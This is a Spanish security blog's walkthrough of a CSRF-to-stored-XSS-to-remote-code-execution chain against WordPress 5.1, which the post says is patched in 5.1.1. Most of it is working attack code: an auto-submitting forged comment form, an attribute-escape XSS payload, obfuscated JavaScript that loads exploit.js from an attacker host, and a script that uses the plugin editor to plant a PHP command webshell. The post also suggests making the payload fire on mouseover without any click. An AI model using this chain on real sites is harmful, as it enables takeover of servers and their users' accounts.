Power belongs to the people who take it

WordPress 5.1 CSRF + XSS + RCE – Poc

A few days ago a vulnerability was discovered in WordPress 5.1 that has already been patched in version 5.1.1, in this post we will explain it and exploit it step by step.
The vulnerability starts in a CSRF so it requires user interaction and javascript enabled in the victim’s browser.
Any doubt or correction will be appreciated.

WordPress is a very famous and used CMS but let the data speak.

Considering that not all WordPress apply automatic updates we could talk about a large number of vulnerable servers.

Attack

Going into the subject of the attack, we will summarize the processes involved.
The first vulnerability that exploits the attack is a CSRF that has existed since the beginning of WordPress because they have not found a way to implement a protection without making the system fail.
For those who do not know CSRF could be summarized in this image.

That is to say that the victim’s browser has the session started and therefore has session cookies, the attacker generates a page or a malicious script (password change, transfer) that when visited or executed by the victim will cause it to make the request. When executed by the victim, the browser will automatically send the session cookies, performing the operation with the victim’s account.

Once a request for a WordPress has been captured under our control, we know what request we have to make a malicious form.

<html>
   <form method="POST" action="http://172.16.185.132/wordpress/wp-comments-post.php" id="iron">
        <input type="hidden" name="comment_post_ID" value="1">
        <input type="hidden" name="comment" value="PoC">
        <input type="hidden" name="comment_parent" value="0">
   </form>
   <script type="text/javascript">
 document.getElementById("iron").submit()</script>
</html>

When the victim loads this html, the form that will create a comment will be sent automatically.




Administrator comments do not go through any reorganization, but currently a non-reusable integer is used (_wp_unfiltered_html_comment), which if valid does not log but if not, use wp_filter_post_kses () instead of wp_filter_kses () which is the function used for comments by a normal user, which is very restrictive with HTML tags.

This saneization function will be bypassed to get an XSS Stored.
The fault was found in a functionality that exists in /wp-includes/formatting.php that for reasons of SEO performs a different treatment to html tags that have a rel attribute.

if (!empty($atts['rel'])) {
        // the processing of the 'rel' attribute happens here
        ⋮
        $text = '';
        foreach ($atts as $name => $value) {
            $text .= $name . '="' . $value . '" ';
        }
    }
    return '<a ' . $text . ' rel="' . $rel . '">';
}  

WordPress separates the attributes in an associative array and verifies if rel exists, if this exists it performs a treatment and then returns to join the attributes of the tag.
The problem is that it encapsulates each value of the attribute between double quotes so we could escape from an attribute by putting it inside a double quote.
That is :

<a title='ironhackers " onclick=alert(0) id="' rel="nofollow">

We would have an associative array {“title” => ‘ironhackers “onclick = alert (0) id =”‘, “rel” => ‘nofollow’}, when containing rel will be processed as seen in the extract above encapsulating each element of the array in double quotes. With this the first tag -> title = “ironhackers” onclick = alert (0) With what we would have obtained an XSS.
Let’s see it in conjunction with the CSRF. First we must modify our malicious html with the necessary payload.

<html>
<script>
function payload(){
    return "<a title='ironhackers "+ '"'+ " onclick=alert(0) id="+'"'+"'"+' rel="nofollow">Poc'
 }
</script>
   <form method="POST" action="http://172.16.185.132/wordpress/wp-comments-post.php" id="iron">
        <input type="hidden" name="comment_post_ID" value="1">
        <input type="hidden" id="payload" name="comment" value="">
        <input type="hidden" name="comment_parent" value="0">
   </form>
   <script type="text/javascript">
   document.getElementById("payload").value=payload();
 document.getElementById("iron").submit()</script>
 
</html>

The javascript function generates the value of the comment that the injected html will be.
We perform the execution of the page by the victim with an open session and we see how the XSS would work.

RCE

Now our goal is to achieve the execution of commands through javascript. In order to extract a valid code and test it we will use a WordPress of our control.
In this case I will upload a comment to the WordPress as an administrator that will not perform any sanetization and then we will proceed to try to take it to the XSS.
We will take advantage of the fact that the javascript will be executed by the victim who has the session started, so that through XMLHttpRequest requests to the plugin editor.
To explain the code a bit, although it’s quite simple, I’ll say that you first make a request to get the nonce, which is a kind of CSRF Token, and then use that token to make the second request

<script>
p = '/wordpress/wp-admin/plugin-editor.php?';
q = 'file=akismet/index.php';
a = new XMLHttpRequest();
a.onreadystatechange = function() {
    if (a.readyState == XMLHttpRequest.DONE) {
separated=a.responseText.split('input type="hidden" id="nonce" name="nonce" value="')
final=separated[1].split('" /><input type="hidden"')[0];
params = 'nonce='+final+String.fromCharCode(38)+'newcontent=<?php system($_GET[cmd]);'+String.fromCharCode(38)+'action=edit-theme-plugin-file'+String.fromCharCode(38)+'file=akismet%2Findex.php'+String.fromCharCode(38)+'plugin=akismet%2Fakismet.php'
b = new XMLHttpRequest();
b.open('POST', p, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(params);
b.onreadystatechange = function(){
   if (this.readyState == 4) {
      fetch('/wordpress/wp-content/plugins/akismet/akismet.php');
   }
}
}}
a.open('GET', p+q, 0);
a.send();
</script>

The next step is to obtain an XSS payload that allows us to load this JS.
I am sure that many of you would get a more elegant payload but I am not an expert either, what I thought was to load a js of my control.

<a title='ironhackers " onclick="var s=document.createElement('script');s.setAttribute('src','http://attacker-ip/exploit.js');s.onload=document.body.appendChild(s);" id="' rel="nofollow">Poc

The part that interests us in this case is the content of the onclick, since the tag structure is the same as before. In this case what we do is create a new element in the DOM that will be a script tag and we assign the src property pointing to a js of our control, to be able to introduce the strings I have converted by concatenating String.fromCharCode() with each ascii of each string used.

<a title='ironhackers " onclick="var s=document.createElement(String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116));s.setAttribute(String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99),String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(49)+String.fromCharCode(55)+String.fromCharCode(50)+String.fromCharCode(46)+String.fromCharCode(49)+String.fromCharCode(54)+String.fromCharCode(46)+String.fromCharCode(49)+String.fromCharCode(56)+String.fromCharCode(53)+String.fromCharCode(46)+String.fromCharCode(49)+String.fromCharCode(47)+String.fromCharCode(101)+String.fromCharCode(120)+String.fromCharCode(112)+String.fromCharCode(108)+String.fromCharCode(111)+String.fromCharCode(105)+String.fromCharCode(116)+String.fromCharCode(46)+String.fromCharCode(106)+String.fromCharCode(115));s.onload=document.body.appendChild(s);" id="' rel="nofollow">Poc

Finally we introduce our payload in the malicious form of the page to which the victim must access:

<html>
<script>
function payload(){
    return "<a title='ironhackers "+ '"'+ " onclick="+'"'+"var s=document.createElement(String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116));s.setAttribute(String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99),String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(49)+String.fromCharCode(55)+String.fromCharCode(50)+String.fromCharCode(46)+String.fromCharCode(49)+String.fromCharCode(54)+String.fromCharCode(46)+String.fromCharCode(49)+String.fromCharCode(56)+String.fromCharCode(53)+String.fromCharCode(46)+String.fromCharCode(49)+String.fromCharCode(47)+String.fromCharCode(101)+String.fromCharCode(120)+String.fromCharCode(112)+String.fromCharCode(108)+String.fromCharCode(111)+String.fromCharCode(105)+String.fromCharCode(116)+String.fromCharCode(46)+String.fromCharCode(106)+String.fromCharCode(115));s.onload=document.body.appendChild(s);"+'"'+' id='+'"'+"'"+' rel="nofollow">Poc'
    
 }
 
</script>
     <form method="POST" action="http://172.16.185.132/wordpress/wp-comments-post.php" id="iron">
        <input type="hidden" name="comment_post_ID" value="1">
        <input type="hidden" id="payload" name="comment" value="">
        <input type="hidden" name="comment_parent" value="0">
   </form>
   <script type="text/javascript">
   document.getElementById("payload").value=payload();
 document.getElementById("iron").submit()</script>
 
</html>

Final Poc

Then we will take the JS code that we use to execute the edition of the plugin and we will save it in a file in a server of our control. In my case exploit.js
Once the whole set is ready we go to the final test.

As you have seen, RCE is obtained through access to a malicious page and a click on a link, but it is clear that this payload can be improved, for example by replacing the onclick with onmouseover and making javascript execution automatic without the need to click.

References: https://blog.ripstech.com/2019/wordpress-csrf-to-rce/
Video: https://youtu.be/QnOXTcCPD3o

¿Me ayudas a compatirlo?

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

© 2024 ironHackers

Theme by Anders NorenUp ↑